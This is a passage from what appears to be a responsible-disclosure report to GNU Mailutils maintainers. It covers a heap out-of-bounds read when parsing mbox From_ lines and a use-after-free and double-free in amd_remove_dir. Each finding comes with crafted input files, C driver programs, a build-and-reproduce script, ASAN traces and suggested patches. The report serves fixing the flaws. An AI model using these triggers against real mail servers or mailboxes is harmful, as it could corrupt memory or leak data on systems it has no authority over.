For input `"From " + 36*'A' + "\n"` (42 bytes): x=`&s[41]`, `x-s==41>=41`. L389
back-scans: x[-1]=s[40]='A'... all 'A', until x[zn]=s[4]=' ' -> zn=-37,
`x+zn==s+4`. L390 `memcmp(s+4-12, suf, 13)`=`memcmp(s-8, suf, 13)` -> reads 8
bytes before `s`. Call chain: `mu_mailbox_create_default` (mbx_default.c:463)
-> `_create_mailbox` -> `mu_registrar_lookup_url` -> `mboxrd_is_scheme`
(mboxrd.c:2059) -> `mboxrd_detect` (mboxrd.c:2018 reads the first line ->
`parse_from_line`).
### Impact
Heap left out-of-bounds read of 13 bytes (8 bytes before `buf` -> info leak of
heap metadata / adjacent allocation). Low-Medium severity (read, not write; the
memcmp result only decides whether to adjust `x`; on no match x is unchanged).
mbox file vector: `mboxrd_detect` runs on mailbox open / format auto-detection
and reads the first line, so opening any mbox file whose first From_ line is
`"From " + (>=36 non-space chars) + "\n"` triggers it. Reachable when a user
opens a hostile .mbox, or when a malicious IMAP/POP3 server delivers mail with
a crafted From_ line that movemail appends to a local mbox and later rescans.
### PoC
Driver (real mailbox framework):
```c
/* mu_mbox_from_driver.c */
#include <mailutils/mailbox.h>
#include <mailutils/registrar.h>
#include <mailutils/mbox.h>
#include <stdio.h>
int main(int argc, char **argv) {
const char *path = argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";
mu_registrar_record(mu_mbox_record);
mu_mailbox_t mbox = NULL;
mu_mailbox_create_default(&mbox, path); /* -> detect -> parse_from_line
-> heap left OOB read */
if (mbox) mu_mailbox_destroy(&mbox);
return 0;
}
```
Input `.mbox` (first line `"From " + 36*'A' + "\n"` + a body line), reconstruct
as a text file:
```
>From AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
body line
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-45.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1"
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_mbox_from_driver.c <<'EOF'
#include <mailutils/mailbox.h>
#include <mailutils/registrar.h>
#include <mailutils/mbox.h>
#include <stdio.h>
int main(int argc, char **argv) {
const char *path = argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";
mu_registrar_record(mu_mbox_record);
mu_mailbox_t mbox = NULL;
mu_mailbox_create_default(&mbox, path);
if (mbox) mu_mailbox_destroy(&mbox);
return 0;
}
EOF
# Build the hostile mbox: "From " + 36 A's + newline, then a body line.
printf 'From %s\nbody line\n' "$(printf 'A%.0s' $(seq 1 36))" >
/tmp/mu_mbox_from.mbox
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils -I libproto/mbox \
/tmp/mu_mbox_from_driver.c \
-Wl,--start-group libproto/mbox/.libs/libmu_mbox.a
libmailutils/.libs/libmailutils.a lib/.libs/libmuaux.a -Wl,--end-group \
-lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o
/tmp/mu_mbox_from_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_mbox_from_driver
/tmp/mu_mbox_from.mbox
```
Expected ASAN:
```
==1333402==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6060000002b8
READ of size 13 at 0x6060000002b8 thread T0
#1 memcmp
#2 parse_from_line libproto/mbox/mboxrd.c:390:12 <- memcmp(x+zn-12, suf,
13) reads 8B before buf
#3 mboxrd_detect libproto/mbox/mboxrd.c:2018:12 <- reads first line
then calls parse_from_line
#4 mboxrd_is_scheme libproto/mbox/mboxrd.c:2059:14
...
#11 mu_mailbox_create_default libmailutils/mailbox/mbx_default.c:463:12
0x6060000002b8 is located 8 bytes to the left of 64-byte region
[0x6060000002c0,0x606000000300)
allocated by ... realloc ... bufexpand ... mu_stream_getline ... mboxrd_detect
mboxrd.c:2014
```
### Suggested fix
Add a lower-bound check before the memcmp at mboxrd.c:390, ensuring
`x+zn-suflen+1 >= s`:
```c
for (zn = -1; x + zn > s && x[zn] != ' '; (zn)--);
if (x + zn - suflen + 1 >= s
&& memcmp (x + zn - suflen + 1, suf, suflen) == 0) /* added >= s bound */
x += zn - suflen + 1;
```
(Alternatively, bound the back-scan start: `x + zn > s + suflen - 1`.)
---
## CVE #46: amd_remove_dir drops realloc result -> use-after-free write +
double-free (Medium-High)
### Summary
`amd_remove_dir(name)` (amd.c:2243) allocates `namebuf = malloc(namesize)`,
`namesize = strlen(name)+128`, iterates directory entries, and grows the buffer
when an entry name is long: `p = realloc(namebuf, namesize)` (L2278). The
result is stored in local `p` but is **never assigned back to `namebuf`** (the
only `namebuf =` assignment in the function is the initial malloc at L2254).
When `realloc` moves the block (which growth does), `namebuf` is left dangling,
and the subsequent `strcpy(namebuf + namelen, ent->d_name)` (L2285) writes to
freed memory -- a use-after-free write. The later `free(namebuf)` (L2302)
double-frees the same block.
### Root cause
File `libmailutils/base/amd.c`, function `amd_remove_dir` (lines 2243-2300):
```c
int
amd_remove_dir (const char *name)
{
DIR *dir; struct dirent *ent; char *namebuf;
size_t namelen, namesize;
namelen = strlen (name);
namesize = namelen + 128;
namebuf = malloc (namesize); /* L2254 */
...
while ((ent = readdir (dir)))
{
size_t len = strlen (ent->d_name);
if (namelen + len >= namesize)
{
char *p;
namesize += len + 1;
p = realloc (namebuf, namesize); /* L2278 -- result dropped */
if (!p) { rc = ENOMEM; break; }
/* missing: namebuf = p; */
}
strcpy (namebuf + namelen, ent->d_name); /* L2285 UAF write */
...
}
...
free (namebuf); /* L2302: double-free when realloc moved the block */
}
```
Trigger condition: a directory entry whose name length `len` makes `namelen+len
>= namesize` (namesize = namelen+128). For a short path like
`/tmp/mu_amd_uaf_test` (namelen=20), `len >= 128` triggers it. maildir message
filenames can exceed 128 bytes, and `tmp/` holds in-delivery files -- a
hostile/compromised maildir can craft an over-long name. The same-file correct
idiom exists elsewhere (e.g. L1196 `buf = realloc(buf, bufsize)`), confirming
L2278 is a missing `namebuf = p;` typo.
### Impact
Use-after-free write (heap corruption; the attacker controls the written
filename content and length via the crafted directory entry name -> potential
arbitrary write / code execution), plus a double-free at L2302. Medium-High
severity (write, not read; more severe than the read-only issues #42/#43/#45).
Reachability: the maildir/MH mailbox remove path -- `amd_remove_dir` is called
by `maildir_remove` (maildir.c:2030, per `tmp/new/cur/` subdir) and `mh.c:439`,
which run on `mu_mailbox_remove()` / IMAP `DELETE` of a maildir/MH mailbox.
Requires a maildir/MH directory containing an entry with a name >= ~127 bytes.
Not a direct pre-auth network message field, but a hostile/compromised maildir
or a malicious MDA delivering over-long-named message files can construct it;
mailutils is still a protocol/mail implementation (IMAP/POP3/SMTP daemon +
clients) and the UAF write is real heap corruption.
### PoC
No external input file -- the trigger builds a maildir/MH-style directory
containing a >=127-byte-named entry, then removes it. Driver (real public API
`amd_remove_dir` is exported from libmailutils):
```c
/* mu_amd_uaf_driver.c */
extern int amd_remove_dir(const char *name);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
int main(void) {
const char *dir = "/tmp/mu_amd_uaf_test";
mkdir(dir, 0755);
/* entry name >= 128 bytes triggers realloc inside amd_remove_dir */
char longname[256];
memset(longname, 'B', 200);
longname[200] = 0;
char path[512];
snprintf(path, sizeof path, "%s/%s", dir, longname);
FILE *f = fopen(path, "w"); if (f) fclose(f);
amd_remove_dir(dir); /* realloc moves block -> namebuf dangling -> strcpy
UAF write */
return 0;
}
```
### Reproduce on real upstream
```bash
#!/bin/bash
# repro-46.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1"
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_amd_uaf_driver.c <<'EOF'
extern int amd_remove_dir(const char *name);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
int main(void) {
const char *dir = "/tmp/mu_amd_uaf_test";
mkdir(dir, 0755);
char longname[256];
memset(longname, 'B', 200);
longname[200] = 0;
char path[512];
snprintf(path, sizeof path, "%s/%s", dir, longname);
FILE *f = fopen(path, "w"); if (f) fclose(f);
amd_remove_dir(dir);
return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
-I include -I . -I libmailutils \
/tmp/mu_amd_uaf_driver.c \
-Wl,--start-group libmailutils/.libs/libmailutils.a lib/.libs/libmuaux.a
-Wl,--end-group \
-lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o
/tmp/mu_amd_uaf_driver
rm -rf /tmp/mu_amd_uaf_test
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_amd_uaf_driver
```
Expected ASAN:
```
==1336190==ERROR: AddressSanitizer: heap-use-after-free on address
0x60e000000055
WRITE of size 201 at 0x60e000000055 thread T0
#0 strcpy
#1 amd_remove_dir libmailutils/base/amd.c:2285:7 <-
strcpy(namebuf+namelen, d_name) writes freed mem
#2 main mailutils_amd_removedir_uaf_poc.c:63
0x60e0000000d4 is located 0 bytes to the right of 148-byte region
[0x60e000000040,0x60e0000000d4)
freed by thread T0 here:
#0 realloc
#1 amd_remove_dir libmailutils/base/amd.c:2278:8 <- realloc result
dropped, old block freed
previously allocated by thread T0 here:
#0 malloc
#1 amd_remove_dir libmailutils/base/amd.c:2254:13 <- initial malloc(148)
```
(The 148-byte region = initial `namesize = strlen("/tmp/mu_amd_uaf_test")+128 =
20+128 = 148`. realloc grows to 148+201=349; ASAN frees the old 148B block; the
L2285 strcpy writes 201 bytes to the dangling `namebuf` -> UAF write. The later
`free(namebuf)` at L2302 double-frees the same block.)
### Suggested fix
Assign the realloc result back to `namebuf` at amd.c:2278:
```c
p = realloc (namebuf, namesize);
if (!p) { rc = ENOMEM; break; }
namebuf = p; /* added: assign back, avoid dangling pointer */
```
---
All eight issues are confirmed on real upstream GNU Mailutils 3.21
(libmailutils / imap4d / movemail), built with ASAN/UBSan. I am happy to
provide further details or coordinate fix timelines. Thank you for your time.
Best regards,
zhangph <[email protected]>